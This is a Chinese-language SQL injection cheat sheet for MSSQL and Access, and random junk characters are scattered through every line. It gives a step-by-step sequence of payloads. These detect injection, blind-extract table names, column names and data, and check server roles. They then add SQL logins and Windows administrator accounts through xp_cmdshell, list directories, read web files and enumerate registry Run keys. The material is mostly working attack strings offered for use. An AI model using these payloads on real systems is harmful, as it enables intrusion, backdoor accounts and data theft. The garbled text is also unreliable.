1.判断是否有注入;and 1=1 ;and 1=2 Q =#I9-
2.初步判断是否是mssql ;and user>0 _'!kuE,*1
m|O1QM;T
3.注入参数是字符'and [查询条件] and ''=' /:Lu_)5
&^!h}D%T/
4.搜索时没过滤参数的'and [查询条件] and '%25'=' bMm3F%FFq&
xq[Yg15d%
5.判断数据库系统 M:n 6BC>t"
ab.tH$:<
;and (select count(*) from sysobjects)>0 mssql QM'X@
=lp1Z>
;and (select count(*) from msysobjects)>0 access $SY]fNJQ
Elb aFbr
QR0(,e$Dl
jVWK0Zba
6.猜数据库 ;and (select Count(*) from [数据库名])>0 3^,QIG
5M F#&v
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 H'DVwnn>ik
Da.G4,vLh
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 #_JYh?
A m"(+>W21
9.(1)猜字段的ascii值(access) [XR$F@o
nh.32q]
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 j:,9%tg
$B (kZ
(2)猜字段的ascii值(mssql) d`y!cu2}
,Nm$i"Lg
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 :"1|AJo)
-ijC_`>
10.测试权限结构(mssql) l\OLyQ
F@YKFk+a
xHA0gZf
>jg0s)RA'
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- g>JLDQdc
K > g[k_
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Na{Y}0=^y
neZ.`"LV
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- bulS&dAX
L%"LlSg
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 2JGL;U$
TrS8h^C
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- a_~=#]a
zeb=8Dg
:
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- h^UKT`9vt
aB~S?.l
;and 1=(select IS_MEMBER('db_owner'));-- (V:E2WR
AIYmS#V1W2
fWnD\mx?0
}_9,w;M$
11.添加mssql和系统的帐户 W-Hoyn>?2
as yZe
;exec master.dbo.sp_addlogin username;-- yw-8#y
;exec master.dbo.sp_password null,username,password;-- E
H:T
: 18KR*;p
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- D\dWt1n
!>,m&O-x
;exec master.dbo.xp_cmdshell 'net user username password /P|fB]p
Yb3mP!3q8Z
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- RGKYW>$0RR
S-Y=-"
;exec master.dbo.xp_cmdshell 'net user username password /add';-- nn/?fIZN4
U1_@F$mq<
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- bV+(b9
ygJr=_iA9
S{pXs&4O
zi R5:d3
12.(1)遍历目录 m7a#qs;,
o8/;;*
;create table dirs(paths varchar(100), id int) N'r3`8tS
( wDm*bZ*
;insert dirs exec master.dbo.xp_dirtree 'c:\'
{vUN+We
|8>3`w!
;and (select top 1 paths from dirs)>0 {;toI
CYYkzcc^
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ;<yd^Xs
{^(ACS9mL
*f&EoUk}F
B`*ZsS=R-
(2)遍历目录 +zXEYc
jK \T|vGJa
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- (py]LBZ
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 7K)6^r^
l^ZI* z7N
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 yjfat&$
rSXh;\MfB4
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 q0f3="
?\C"YG69T
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 }cT_qqw(f%
nF6q7
TIp:FW[
GpZc5c
13.mssql中的存储过程 ml \4xp,
4`JH&))}
xp_regenumvalues 注册表根键, 子键 afYc\-"
,%\o4Rc'o
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 X]\ \,
PaV-F_2
xp_regread 根键,子键,键值名 ;&1V0U,fx
!\&